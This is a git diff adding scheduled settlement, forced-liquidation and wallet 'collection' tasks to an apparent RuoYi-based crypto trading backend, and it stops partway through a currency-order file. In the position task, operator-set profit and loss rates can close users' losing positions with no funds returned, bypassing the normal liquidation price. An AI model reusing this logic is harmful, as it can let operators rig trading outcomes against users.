/dev/null +++ b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/service/impl/SysJobServiceImpl.java @@ -0,0 +1,261 @@ +package com.ruoyi.quartz.service.impl; + +import java.util.List; +import javax.annotation.PostConstruct; +import org.quartz.JobDataMap; +import org.quartz.JobKey; +import org.quartz.Scheduler; +import org.quartz.SchedulerException; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; +import org.springframework.transaction.annotation.Transactional; +import com.ruoyi.common.constant.ScheduleConstants; +import com.ruoyi.common.exception.job.TaskException; +import com.ruoyi.quartz.domain.SysJob; +import com.ruoyi.quartz.mapper.SysJobMapper; +import com.ruoyi.quartz.service.ISysJobService; +import com.ruoyi.quartz.util.CronUtils; +import com.ruoyi.quartz.util.ScheduleUtils; + +/** + * 定时任务调度信息 服务层 + * + * @author ruoyi + */ +@Service +public class SysJobServiceImpl implements ISysJobService +{ + @Autowired + private Scheduler scheduler; + + @Autowired + private SysJobMapper jobMapper; + + /** + * 项目启动时,初始化定时器 主要是防止手动修改数据库导致未同步到定时任务处理(注:不能手动修改数据库ID和任务组名,否则会导致脏数据) + */ + @PostConstruct + public void init() throws SchedulerException, TaskException + { + scheduler.clear(); + List jobList = jobMapper.selectJobAll(); + for (SysJob job : jobList) + { + ScheduleUtils.createScheduleJob(scheduler, job); + } + } + + /** + * 获取quartz调度器的计划任务列表 + * + * @param job 调度信息 + * @return + */ + @Override + public List selectJobList(SysJob job) + { + return jobMapper.selectJobList(job); + } + + /** + * 通过调度任务ID查询调度信息 + * + * @param jobId 调度任务ID + * @return 调度任务对象信息 + */ + @Override + public SysJob selectJobById(Long jobId) + { + return jobMapper.selectJobById(jobId); + } + + /** + * 暂停任务 + * + * @param job 调度信息 + */ + @Override + @Transactional(rollbackFor = Exception.class) + public int pauseJob(SysJob job) throws SchedulerException + { + Long jobId = job.getJobId(); + String jobGroup = job.getJobGroup(); + job.setStatus(ScheduleConstants.Status.PAUSE.getValue()); + int rows = jobMapper.updateJob(job); + if (rows > 0) + { + scheduler.pauseJob(ScheduleUtils.getJobKey(jobId, jobGroup)); + } + return rows; + } + + /** + * 恢复任务 + * + * @param job 调度信息 + */ + @Override + @Transactional(rollbackFor = Exception.class) + public int resumeJob(SysJob job) throws SchedulerException + { + Long jobId = job.getJobId(); + String jobGroup = job.getJobGroup(); + job.setStatus(ScheduleConstants.Status.NORMAL.getValue()); + int rows = jobMapper.updateJob(job); + if (rows > 0) + { + scheduler.resumeJob(ScheduleUtils.getJobKey(jobId, jobGroup)); + } + return rows; + } + + /** + * 删除任务后,所对应的trigger也将被删除 + * + * @param job 调度信息 + */ + @Override + @Transactional(rollbackFor = Exception.class) + public int deleteJob(SysJob job) throws SchedulerException + { + Long jobId = job.getJobId(); + String jobGroup = job.getJobGroup(); + int rows = jobMapper.deleteJobById(jobId); + if (rows > 0) + { + scheduler.deleteJob(ScheduleUtils.getJobKey(jobId, jobGroup)); + } + return rows; + } + + /** + * 批量删除调度信息 + * + * @param jobIds 需要删除的任务ID + * @return 结果 + */ + @Override + @Transactional(rollbackFor = Exception.class) + public void deleteJobByIds(Long[] jobIds) throws SchedulerException + { + for (Long jobId : jobIds) + { + SysJob job = jobMapper.selectJobById(jobId); + deleteJob(job); + } + } + + /** + * 任务调度状态修改 + * + * @param job 调度信息 + */ + @Override + @Transactional(rollbackFor = Exception.class) + public int changeStatus(SysJob job) throws SchedulerException + { + int rows = 0; + String status = job.getStatus(); + if (ScheduleConstants.Status.NORMAL.getValue().equals(status)) + { + rows = resumeJob(job); + } + else if (ScheduleConstants.Status.PAUSE.getValue().equals(status)) + { + rows = pauseJob(job); + } + return rows; + } + + /** + * 立即运行任务 + * + * @param job 调度信息 + */ + @Override + @Transactional(rollbackFor = Exception.class) + public boolean run(SysJob job) throws SchedulerException + { + boolean result = false; + Long jobId = job.getJobId(); + String jobGroup = job.getJobGroup(); + SysJob properties = selectJobById(job.getJobId()); + // 参数 + JobDataMap dataMap = new JobDataMap(); + dataMap.put(ScheduleConstants.TASK_PROPERTIES, properties); + JobKey jobKey = ScheduleUtils.getJobKey(jobId, jobGroup); + if (scheduler.checkExists(jobKey)) + { + result = true; + scheduler.triggerJob(jobKey, dataMap); + } + return result; + } + + /** + * 新增任务 + * + * @param job 调度信息 调度信息 + */ + @Override + @Transactional(rollbackFor = Exception.class) + public int insertJob(SysJob job) throws SchedulerException, TaskException + { + job.setStatus(ScheduleConstants.Status.PAUSE.getValue()); + int rows = jobMapper.insertJob(job); + if (rows > 0) + { + ScheduleUtils.createScheduleJob(scheduler, job); + } + return rows; + } + + /** + * 更新任务的时间表达式 + * + * @param job 调度信息 + */ + @Override + @Transactional(rollbackFor = Exception.class) + public int updateJob(SysJob job) throws SchedulerException, TaskException + { + SysJob properties = selectJobById(job.getJobId()); + int rows = jobMapper.updateJob(job); + if (rows > 0) + { + updateSchedulerJob(job, properties.getJobGroup()); + } + return rows; + } + + /** + * 更新任务 + * + * @param job 任务对象 + * @param jobGroup 任务组名 + */ + public void updateSchedulerJob(SysJob job, String jobGroup) throws SchedulerException, TaskException + { + Long jobId = job.getJobId(); + // 判断是否存在 + JobKey jobKey = ScheduleUtils.getJobKey(jobId, jobGroup); + if (scheduler.checkExists(jobKey)) + { + // 防止创建时存在数据问题 先移除,然后在执行创建操作 + scheduler.deleteJob(jobKey); + } + ScheduleUtils.createScheduleJob(scheduler, job); + } + + /** + * 校验cron表达式是否有效 + * + * @param cronExpression 表达式 + * @return 结果 + */ + @Override + public boolean checkCronExpressionIsValid(String cronExpression) + { + return CronUtils.isValid(cronExpression); + } +} diff --git a/ruoyi-quartz/src/main/java/com/ruoyi/quartz/task/CollectionTask.java b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/task/CollectionTask.java new file mode 100644 index 0000000..e0a3f0e --- /dev/null +++ b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/task/CollectionTask.java @@ -0,0 +1,51 @@ +package com.ruoyi.quartz.task; + +import com.ruoyi.bussiness.domain.TCollectionOrder; +import com.ruoyi.bussiness.mapper.TCollectionOrderMapper; +import com.ruoyi.common.eth.EthUtils; +import com.ruoyi.common.trc.TronUtils; +import lombok.RequiredArgsConstructor; +import lombok.extern.slf4j.Slf4j; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Component; + +import javax.annotation.Resource; +import java.util.List; + +@RequiredArgsConstructor +@Slf4j +@Component("collectionTask") +public class CollectionTask { + @Resource + TCollectionOrderMapper tCollectionOrderMapper; + public void queryCollectionStatus() { + TCollectionOrder tCollectionOrder = new TCollectionOrder(); + // 1 进行中 2 归集成功 3 归集失败 + tCollectionOrder.setStatus("1"); + List tCollectionOrders = tCollectionOrderMapper.selectTCollectionOrderList(tCollectionOrder); + for (TCollectionOrder order: tCollectionOrders) { + String hash = order.getHash(); + if(order.getChain().equals("ETH")){ + // 0 成功 1失败 + String hashStatus = EthUtils.getHashStatus(hash); + if(hashStatus.equals("0")){ + order.setStatus("2"); + tCollectionOrderMapper.updateTCollectionOrder(order); + } else if (hashStatus.equals("1")) { + order.setStatus("3"); + tCollectionOrderMapper.updateTCollectionOrder(order); + } + }else{ + String hashStatus = TronUtils.getTransactionResult(hash); + if(hashStatus.equals("0")){ + order.setStatus("2"); + tCollectionOrderMapper.updateTCollectionOrder(order); + } else if (hashStatus.equals("1")) { + order.setStatus("3"); + tCollectionOrderMapper.updateTCollectionOrder(order); + } + } + + } + } +} diff --git a/ruoyi-quartz/src/main/java/com/ruoyi/quartz/task/ContractOrderTask.java b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/task/ContractOrderTask.java new file mode 100644 index 0000000..51763d2 --- /dev/null +++ b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/task/ContractOrderTask.java @@ -0,0 +1,175 @@ +package com.ruoyi.quartz.task; + +import cn.hutool.json.JSONUtil; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.ruoyi.bussiness.domain.*; +import com.ruoyi.bussiness.domain.setting.AddMosaicSetting; +import com.ruoyi.bussiness.domain.setting.Setting; +import com.ruoyi.bussiness.service.*; +import com.ruoyi.common.core.redis.RedisCache; +import com.ruoyi.common.enums.*; +import com.ruoyi.common.utils.RedisUtil; +import com.ruoyi.common.utils.ucontract.ContractComputerUtil; +import com.ruoyi.socket.socketserver.WebSocketCoinOver; +import jnr.ffi.annotations.In; +import lombok.RequiredArgsConstructor; +import lombok.extern.slf4j.Slf4j; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.stereotype.Component; + +import javax.annotation.Resource; +import java.math.BigDecimal; +import java.math.RoundingMode; +import java.util.*; +import java.util.concurrent.ThreadLocalRandom; + + +/** + * U本位委托订单结算 + */ +@RequiredArgsConstructor +@Slf4j +@Component("contractOrderTask") +public class ContractOrderTask { + + @Resource + private ITContractOrderService contractOrderService; + @Resource + private RedisCache redisCache; + @Resource + private ITAppAssetService assetService; + @Resource + private ITAppWalletRecordService appWalletRecordService; + @Resource + private ITContractCoinService contractCoinService; + @Resource + private ITContractPositionService contractPositionService; + @Resource + private ITAppUserService appUserService; + @Resource + private SettingService settingService; + @Resource + private RedisUtil redisUtil; + @Value("${api-redis-stream.names}") + private String redisStreamNames; + public void settMent() { + try { + List list = contractOrderService.list( + new LambdaQueryWrapper() + .eq(TContractOrder::getStatus, ContractOrderStatusEmun.DEAL.getCode())); + for (TContractOrder order : list) { + settlement(order); + } + + } catch (Exception e) { + e.printStackTrace(); + } + + } + + + private void settlement(TContractOrder order) { + try { + + TAppUser appUser = appUserService.getById(order.getUserId()); + String symbol = order.getSymbol(); + //委托量 + BigDecimal delegateTotal = order.getDelegateTotal(); + + BigDecimal delegatePrice = order.getDelegatePrice(); + //杠杆 + BigDecimal level = order.getLeverage(); + + Integer type = order.getType(); + + BigDecimal currentlyPrice = redisCache.getCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix() + symbol); + + TContractCoin contractCoin = contractCoinService.selectContractCoinBySymbol(symbol); + + if (comparePrice(type, currentlyPrice, delegatePrice)) { + // usdt 成交 总资产-成交额 占用-成交额 被买入的币 总资产 +成交量-(成交量*手续费率) 可用资产+成交量-(成交量*手续费率) + //实际成交额 + BigDecimal dealValue = ContractComputerUtil.getAmount(currentlyPrice, delegateTotal, level); + order.setStatus(1); + order.setDealNum(delegateTotal); + order.setDealPrice(currentlyPrice); + order.setDealValue(dealValue); + order.setDealTime(new Date()); + + BigDecimal fee = dealValue.multiply(contractCoin.getOpenFee()).setScale(6, RoundingMode.HALF_UP); + order.setFee(fee); + contractOrderService.updateTContractOrder(order); + BigDecimal closePrice = ContractComputerUtil.getStrongPrice(level, type, currentlyPrice, delegateTotal, dealValue, fee); + createPosition(symbol, currentlyPrice, closePrice, dealValue, delegateTotal, level, type, order.getDelegateType(), fee, order.getUserId(), order.getOrderNo(),0); + // 1.1 查看用户usdt资产 + TAppAsset tAppAsset = assetService.getAssetByUserIdAndType(order.getUserId(), AssetEnum.CONTRACT_ASSETS.getCode()); + //usdt 变动 + BigDecimal amout = tAppAsset.getAmout(); + tAppAsset.setAmout(amout.subtract(dealValue)); + tAppAsset.setOccupiedAmount(tAppAsset.getOccupiedAmount().subtract(order.getDelegateValue())); + tAppAsset.setAvailableAmount(tAppAsset.getAvailableAmount().add(order.getDelegateValue().subtract(dealValue))); + assetService.updateTAppAsset(tAppAsset); + appWalletRecordService.generateRecord(order.getUserId(), dealValue, RecordEnum.CONTRACT_TRANSACTIONSUB.getCode(), null, order.getOrderNo(), "合约交易-", amout, amout.subtract(dealValue), contractCoin.getBaseCoin().toLowerCase(),appUser.getAdminParentIds()); + + //u本位打码 + Setting setting = settingService.get(SettingEnum.ADD_MOSAIC_SETTING.name()); + if (Objects.nonNull(setting)){ + AddMosaicSetting addMosaic = JSONUtil.toBean(setting.getSettingValue(), AddMosaicSetting.class); + if (Objects.nonNull(addMosaic) && Objects.nonNull(addMosaic.getIsOpen()) && addMosaic.getIsOpen() && Objects.nonNull(addMosaic.getContractIsOpen()) && addMosaic.getContractIsOpen()){ + appUser.setTotleAmont(appUser.getTotleAmont().add(order.getDelegateValue())); + appUserService.updateTotleAmont(appUser); + } + } + + HashMap object = new HashMap<>(); + object.put("settlement","2"); + redisUtil.addStream(redisStreamNames,object); + } + + } catch (Exception e) { + e.printStackTrace(); + } + } + + private boolean comparePrice(Integer type, BigDecimal currentlyPrice, BigDecimal delegatePrice) { + if (0 == type) { + //限价于大于当前价 + if (delegatePrice.compareTo(currentlyPrice) >= 0) { + return true; + } + } else { + //限价小于等于当前价 + if (delegatePrice.compareTo(currentlyPrice) <= 0) { + return true; + } + } + return false; + } + + //创建仓位对象 + private TContractPosition createPosition(String symbol, BigDecimal openPrice, BigDecimal closePrice, BigDecimal amount, BigDecimal num, BigDecimal level, Integer type, Integer delegateType, BigDecimal openFee, Long uerId, String serialId, Integer deliveryDays) { + TContractPosition tContractPosition = new TContractPosition(); + BigDecimal bigDecimal = amount.subtract(openFee); + tContractPosition.setSymbol(symbol); + tContractPosition.setAmount(bigDecimal); + tContractPosition.setAdjustAmount(bigDecimal); + tContractPosition.setLeverage(level); + tContractPosition.setClosePrice(closePrice); + tContractPosition.setOpenNum(num); + tContractPosition.setOpenPrice(openPrice); + tContractPosition.setOpenFee(openFee); + tContractPosition.setStatus(0); + tContractPosition.setType(type); + tContractPosition.setDelegateType(delegateType); + tContractPosition.setCreateTime(new Date()); + tContractPosition.setRemainMargin(bigDecimal); + tContractPosition.setOrderNo(serialId); + tContractPosition.setUserId(uerId); + tContractPosition.setEntrustmentValue(num.multiply(openPrice).setScale(6,RoundingMode.HALF_UP)); + tContractPosition.setDeliveryDays(0); + tContractPosition.setSubTime(new Date()); + contractPositionService.save(tContractPosition); + return tContractPosition; + } + +} diff --git a/ruoyi-quartz/src/main/java/com/ruoyi/quartz/task/ContractPositionTask.java b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/task/ContractPositionTask.java new file mode 100644 index 0000000..3e3b306 --- /dev/null +++ b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/task/ContractPositionTask.java @@ -0,0 +1,240 @@ +package com.ruoyi.quartz.task; + +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.core.toolkit.CollectionUtils; +import com.ruoyi.bussiness.domain.*; +import com.ruoyi.bussiness.service.*; +import com.ruoyi.common.core.redis.RedisCache; +import com.ruoyi.common.enums.AssetEnum; +import com.ruoyi.common.enums.CachePrefix; +import com.ruoyi.common.enums.ContractOrderStatusEmun; +import com.ruoyi.common.enums.RecordEnum; +import com.ruoyi.common.utils.RedisUtil; +import com.ruoyi.common.utils.ucontract.ContractComputerUtil; +import com.ruoyi.socket.socketserver.WebSocketCoinOver; +import lombok.RequiredArgsConstructor; +import lombok.extern.slf4j.Slf4j; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.stereotype.Component; + +import javax.annotation.Resource; +import java.math.BigDecimal; +import java.math.RoundingMode; +import java.util.Date; +import java.util.HashMap; +import java.util.List; +import java.util.Objects; + + +/** + * U本位强制平仓结算 + */ +@RequiredArgsConstructor +@Slf4j +@Component("contractPositionTask") +public class ContractPositionTask { + + + @Resource + private RedisCache redisCache; + @Resource + private ITAppAssetService assetService; + @Resource + private ITAppWalletRecordService appWalletRecordService; + @Resource + private ITContractCoinService contractCoinService; + @Resource + private ITContractPositionService contractPositionService; + @Resource + private ITContractLossService contractLossService; + @Resource + private ITAppUserService appUserService; + @Resource + private RedisUtil redisUtil; + @Value("${api-redis-stream.names}") + private String redisStreamNames; + + public void settPosition() { + try { + List list = contractPositionService.list( + new LambdaQueryWrapper() + .eq(TContractPosition::getStatus, ContractOrderStatusEmun.DEAL.getCode())); + for (TContractPosition order : list) { + settlement(order); + } + + } catch (Exception e) { + e.printStackTrace(); + } + + } + + private void settlement(TContractPosition contractPosition) { + try { + Integer type = contractPosition.getType(); + BigDecimal closePrice = contractPosition.getClosePrice(); + String symbol = contractPosition.getSymbol(); + BigDecimal currentlyPrice = redisCache.getCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix() + symbol); + //强平 不扣手续费 + + TContractCoin tContractCoin = contractCoinService.selectContractCoinBySymbol(symbol); + if("ok".equals(checkProfit(tContractCoin))) { + if (comparePrice(type, currentlyPrice, closePrice)) { + contractPosition.setDealPrice(currentlyPrice); + contractPosition.setSellFee(BigDecimal.ZERO); + updatePositoinStop(contractPosition); + } + }else{ + BigDecimal sub= ContractComputerUtil.getRate(contractPosition.getOpenPrice(),currentlyPrice,type); + if(sub.compareTo(BigDecimal.ZERO)<0) { + BigDecimal floatProit = Objects.isNull(tContractCoin.getFloatProfit()) ? BigDecimal.ZERO : tContractCoin.getFloatProfit(); + //止损率 + BigDecimal profitLoss = Objects.isNull(tContractCoin.getProfitLoss()) ? BigDecimal.ZERO : tContractCoin.getProfitLoss(); + + BigDecimal sellFee = contractPosition.getAdjustAmount().multiply(contractPosition.getSellFee()).multiply(contractPosition.getOpenNum()).setScale(4, RoundingMode.HALF_UP); + + BigDecimal earn = sub.multiply(profitLoss).multiply(contractPosition.getOpenNum()).multiply(contractPosition.getLeverage()).divide(floatProit, 4, RoundingMode.DOWN); + + BigDecimal money = earn.add(contractPosition.getAdjustAmount()); + if(money.compareTo(BigDecimal.ZERO)<=0){ + contractPosition.setEarn(earn); + contractPosition.setSellFee(BigDecimal.ZERO); + contractPosition.setDealPrice(currentlyPrice); + updateProfitStop(contractPosition); + } + } + } + TContractLoss contractLoss = new TContractLoss(); + contractLoss.setStatus(0); + contractLoss.setPositionId(contractPosition.getId()); + List list = contractLossService.selectTContractLossList(contractLoss); + if (CollectionUtils.isNotEmpty(list)) { + + for (TContractLoss contractLoss1 : list) { + BigDecimal earnPrice = contractLoss1.getEarnPrice(); + BigDecimal losePrice = contractLoss1.getLosePrice(); + BigDecimal earnDelegatePrice = contractLoss1.getEarnDelegatePrice(); + BigDecimal loseDelegatePrice = contractLoss1.getLoseDelegatePrice(); + Integer deleGateType = contractLoss1.getDelegateType(); + if (deleGateType == 1) { + earnDelegatePrice = currentlyPrice; + loseDelegatePrice = currentlyPrice; + } + if (type == 0) { + if (earnPrice.compareTo(BigDecimal.ZERO) > 0 && currentlyPrice.compareTo(earnPrice) >= 0) { + contractPosition.setSellFee(contractPosition.getAdjustAmount().multiply(tContractCoin.getCloseFee()).setScale(4, RoundingMode.HALF_UP)); + contractPosition.setDealPrice(earnDelegatePrice); + updatePositoinStop(contractPosition); + break; + } + if (losePrice.compareTo(BigDecimal.ZERO) > 0 && currentlyPrice.compareTo(losePrice) <= 0) { + contractPosition.setSellFee(contractPosition.getAdjustAmount().multiply(tContractCoin.getCloseFee()).setScale(4, RoundingMode.HALF_UP)); + contractPosition.setDealPrice(loseDelegatePrice); + updatePositoinStop(contractPosition); + break; + } + } else if (type == 1) { + // 19100 止损 19200 止盈 19000 开空 18999 + if (earnPrice.compareTo(BigDecimal.ZERO) > 0 && currentlyPrice.compareTo(earnPrice) <= 0) { + contractPosition.setSellFee(contractPosition.getAdjustAmount().multiply(tContractCoin.getCloseFee()).setScale(4, RoundingMode.HALF_UP)); + contractPosition.setDealPrice(earnDelegatePrice); + updatePositoinStop(contractPosition); + break; + } + if (losePrice.compareTo(BigDecimal.ZERO) > 0 && currentlyPrice.compareTo(losePrice) >= 0) { + contractPosition.setSellFee(contractPosition.getAdjustAmount().multiply(tContractCoin.getCloseFee()).setScale(4, RoundingMode.HALF_UP)); + contractPosition.setDealPrice(loseDelegatePrice); + updatePositoinStop(contractPosition); + break; + } + } + } + } + } catch (Exception e) { + e.printStackTrace(); + } + } + + //强平 + private boolean comparePrice(Integer type, BigDecimal currentlyPrice, BigDecimal closePrice) { + //买多 + if (0 == type) { + if (currentlyPrice.compareTo(closePrice) <= 0) { + return true; + } + } else { + if(closePrice.compareTo(BigDecimal.ZERO)==0){ + return false; + } + if (currentlyPrice.compareTo(closePrice) >= 0) { + return true; + } + } + return false; + } + + private void updatePositoinStop(TContractPosition contractPosition) { + TAppUser appUser = appUserService.getById(contractPosition.getUserId()); + // TContractCoin contractCoin = contractCoinService.selectContractCoinBySymbol(contractPosition.getSymbol()); + BigDecimal amount = contractPosition.getAdjustAmount(); + BigDecimal earn = ContractComputerUtil.getPositionEarn(contractPosition.getOpenPrice(), contractPosition.getOpenNum(), contractPosition.getDealPrice(), contractPosition.getType()); + contractPosition.setStatus(1); + contractPosition.setDealTime(new Date()); + contractPosition.setDealNum(contractPosition.getOpenNum()); + contractPosition.setDealValue(contractPosition.getOpenNum().multiply(contractPosition.getDealPrice()).setScale(6,RoundingMode.HALF_UP)); + BigDecimal money = amount.add(earn); + contractPosition.setEarn(earn); + contractPositionService.updateTContractPosition(contractPosition); + //撤销止盈止损 + contractLossService.updateContractLoss(contractPosition.getId()); + TAppAsset tAppAsset = assetService.getAssetByUserIdAndType(contractPosition.getUserId(), AssetEnum.CONTRACT_ASSETS.getCode()); + BigDecimal amout = tAppAsset.getAmout(); + BigDecimal add = amout.add(money).subtract(contractPosition.getSellFee()); + if(add.compareTo(BigDecimal.ZERO)<1){ + add = BigDecimal.ZERO; + } + tAppAsset.setAmout(add); + tAppAsset.setAvailableAmount(add); + assetService.updateTAppAsset(tAppAsset); + appWalletRecordService.generateRecord(contractPosition.getUserId(), money, RecordEnum.CONTRACT_TRANSACTION_CLOSING.getCode(), null, contractPosition.getOrderNo(), "合约交易强平", amout, add, "usdt",appUser.getAdminParentIds()); + HashMap object = new HashMap<>(); + object.put("settlement","2"); + redisUtil.addStream(redisStreamNames,object); + } + + public String checkProfit(TContractCoin tContractCoin) { + String result = "ok"; + //止盈率 + BigDecimal floatProit = Objects.isNull(tContractCoin.getFloatProfit()) ? BigDecimal.ZERO : tContractCoin.getFloatProfit(); + //止损率 + BigDecimal profitLoss = Objects.isNull(tContractCoin.getProfitLoss()) ? BigDecimal.ZERO : tContractCoin.getProfitLoss(); + if (floatProit.compareTo(BigDecimal.ZERO) > 0) { + result = result + "earn"; + } + if (profitLoss.compareTo(BigDecimal.ZERO) > 0) { + result = result + "loss"; + } + return result; + } + + + private void updateProfitStop(TContractPosition contractPosition) { + TAppUser appUser = appUserService.getById(contractPosition.getUserId()); + TAppAsset tAppAsset = assetService.getAssetByUserIdAndType(contractPosition.getUserId(), AssetEnum.CONTRACT_ASSETS.getCode()); + BigDecimal amout = tAppAsset.getAmout(); + // TContractCoin contractCoin = contractCoinService.selectContractCoinBySymbol(contractPosition.getSymbol()); + contractPosition.setStatus(1); + contractPosition.setDealTime(new Date()); + contractPosition.setDealNum(contractPosition.getOpenNum()); + contractPosition.setDealValue(contractPosition.getOpenNum().multiply(contractPosition.getDealPrice()).setScale(6,RoundingMode.HALF_UP)); + contractPositionService.updateTContractPosition(contractPosition); + //撤销止盈止损 + contractLossService.updateContractLoss(contractPosition.getId()); + appWalletRecordService.generateRecord(contractPosition.getUserId(), BigDecimal.ZERO, RecordEnum.CONTRACT_TRANSACTION_CLOSING.getCode(), null, contractPosition.getOrderNo(), "合约交易强平", amout, amout, "usdt",appUser.getAdminParentIds()); + HashMap object = new HashMap<>(); + object.put("settlement","2"); + redisUtil.addStream(redisStreamNames,object); + } +} + + diff --git a/ruoyi-quartz/src/main/java/com/ruoyi/quartz/task/CurrencyOrderTask.java b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/task/CurrencyOrderTask.java new file mode 100644 index 0000000..11c8d84 --- /dev/null +++ b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/task/CurrencyOrderTask.java @@ -0,0 +1,218 @@ +package com.ruoyi.quartz.task; + +import cn.hutool.json.JSONUtil; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.ruoyi.bussiness.domain.TAppAsset; +import com.ruoyi.bussiness.domain.TAppUser; +import com.ruoyi.bussiness.domain.TCurrencyOrder; +import com.ruoyi.bussiness.domain.TCurrencySymbol; +import com.ruoyi.bussiness.domain.setting.AddMosaicSetting; +import com.ruoyi.bussiness.domain.setting.Setting; +import com.ruoyi.bussiness.mapper.TCurrencySymbolMapper; +import com.ruoyi.bussiness.service.*; +import com.ruoyi.common.core.redis.RedisCache; +import com.ruoyi.common.enums.AssetEnum; +import com.ruoyi.common.enums.CachePrefix; +import com.ruoyi.common.enums.RecordEnum; +import com.ruoyi.common.enums.SettingEnum; +import com.ruoyi.common.utils.DateUtils; +import com.ruoyi.common.utils.RedisUtil; +import com.ruoyi.socket.socketserver.WebSocketCoinOver; +import lombok.RequiredArgsConstructor; +import lombok.extern.slf4j.Slf4j; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.scheduling.annotation.Async; +import org.springframework.stereotype.Component; +import org.springframework.transaction.annotation.Transactional; +import org.springframework.util.CollectionUtils; + +import javax.annotation.Resource; +import java.math.BigDecimal; +import java.math.RoundingMode; +import java.util.HashMap; +import java.util.List; +import java.util.Objects; + +@RequiredArgsConstructor +@Slf4j +@Component("currencyOrderTask") +public class CurrencyOrderTask { + + @Resource + + private ITCurrencyOrderService tCurrencyOrderService; + @Resource + private ITAppUserService tAppUserService; + @Resource + private ITAppAssetService tAppAssetService; + @Resource + private RedisCache redisCache; + @Resource + private TCurrencySymbolMapper tCurrencySymbolMapper; + @Resource + private ITAppWalletRecordService appWalletRecordService; + @Resource + private WebSocketCoinOver webSocketCoinOver; + @Resource + private SettingService settingService; + @Resource + private RedisUtil redisUtil; + @Value("${api-redis-stream.names}") + private String redisStreamNames; + + @Async("myTaskAsyncPool") + public void currencyOrderSettlement(){ + TCurrencyOrder searchCurrencyOrder = new TCurrencyOrder(); + searchCurrencyOrder.setDelegateType(0); + searchCurrencyOrder.setStatus(0); + //订单key + String key = CachePrefix.REDIS_KEY_CURRENCY_ORDER.getPrefix(); + //加锁 + if(redisCache.hasKey(key)){ + return; + } + List list = tCurrencyOrderService.selectTCurrencyOrderList(searchCurrencyOrder); + if (!CollectionUtils.isEmpty(list)){ + boolean b1 = redisCache.tryLock(key, "1",50000); + if(!b1){ + return; + } + try { + for (TCurrencyOrder tCurrencyOrder:list) { + TAppUser user = tAppUserService.getById(tCurrencyOrder.getUserId()); + String symbol = tCurrencyOrder.getSymbol(); + String coin = tCurrencyOrder.getCoin(); + TCurrencySymbol currencySymbol = tCurrencySymbolMapper.selectOne(new LambdaQueryWrapper().eq(TCurrencySymbol::getCoin, symbol).eq(TCurrencySymbol::getBaseCoin, coin).eq(TCurrencySymbol::getEnable, "1")); + if(Objects.isNull(currencySymbol)){ + redisCache.deleteObject(key); + continue; + } + + BigDecimal symolSettle = tCurrencyOrder.getSymbol().equals("usdt") ? BigDecimal.ONE : redisCache.getCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix() + tCurrencyOrder.getSymbol()); + BigDecimal coinSettle = tCurrencyOrder.getCoin().equals("usdt") ? BigDecimal.ONE : redisCache.getCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix() + tCurrencyOrder.getCoin()); + BigDecimal settlePrice = symolSettle.divide(coinSettle,8, RoundingMode.DOWN); + + //校验 + String result = tCurrencyOrderService.checkOrder(tCurrencyOrder,currencySymbol,settlePrice); + if (!result.equals("success")){ + redisCache.deleteObject(key); + continue; + } +// Integer symbolPrecision = currencySymbol.getCoinPrecision()==null?0:currencySymbol.getCoinPrecision(); +// Integer coinPrecision = currencySymbol.getBasePrecision()==null?0:currencySymbol.getBasePrecision(); + Long userId = user.getUserId(); + TAppAsset tAppAsset = tAppAssetService.getOne(new LambdaQueryWrapper().eq(TAppAsset::getType, AssetEnum.PLATFORM_ASSETS.getCode()).eq(TAppAsset::getUserId, userId).eq(TAppAsset::getSymbol, tCurrencyOrder.getCoin())); + //判断是否需要创建资产账户 + if (Objects.isNull(tAppAsset)){ + tAppAssetService.createAsset(user,tCurrencyOrder.getCoin(),AssetEnum.PLATFORM_ASSETS.getCode()); + } + //查询交易币种资产 + TAppAsset addAsset = tAppAssetService.getOne(new LambdaQueryWrapper().eq(TAppAsset::getUserId, userId).eq(TAppAsset::getSymbol, tCurrencyOrder.getSymbol()).eq(TAppAsset::getType, AssetEnum.PLATFORM_ASSETS.getCode())); + //查询结算币种资产 + TAppAsset subtractAsset = tAppAssetService.getOne(new LambdaQueryWrapper().eq(TAppAsset::getUserId, userId).eq(TAppAsset::getSymbol, tCurrencyOrder.getCoin()).eq(TAppAsset::getType, AssetEnum.PLATFORM_ASSETS.getCode())); + //委托价格 + BigDecimal delegatePrice = tCurrencyOrder.getDelegatePrice(); + //委托总量 + BigDecimal delegateTotal = tCurrencyOrder.getDelegateTotal(); + //手续费率 + BigDecimal ratio = currencySymbol.getFeeRate().divide(new BigDecimal("100")); + //手续费 + BigDecimal fee=BigDecimal.ZERO; + //成交量 + BigDecimal dealNum =BigDecimal.ZERO; + //增加资产 + BigDecimal addPrice=BigDecimal.ZERO; + // 扣减资产 + BigDecimal subtractPrice=BigDecimal.ZERO ; + //成交总量 + if (tCurrencyOrderService.checkPrice(tCurrencyOrder.getType(),settlePrice,delegatePrice)){ + if (tCurrencyOrder.getType()==0){ + dealNum=delegateTotal; + subtractPrice = settlePrice.multiply(delegateTotal).setScale(6, RoundingMode.DOWN); + tCurrencyOrder.setDealNum(dealNum); + tCurrencyOrder.setDealValue(subtractPrice); + fee=dealNum.multiply(ratio); + addPrice=dealNum.subtract(fee); + }else { + dealNum=settlePrice.multiply(delegateTotal).setScale(6, RoundingMode.DOWN); + subtractPrice = delegateTotal; + tCurrencyOrder.setDealNum(subtractPrice); + tCurrencyOrder.setDealValue(dealNum); + fee=dealNum.multiply(ratio); + addPrice=dealNum.subtract(fee); + } + tCurrencyOrder.setDealPrice(settlePrice); + 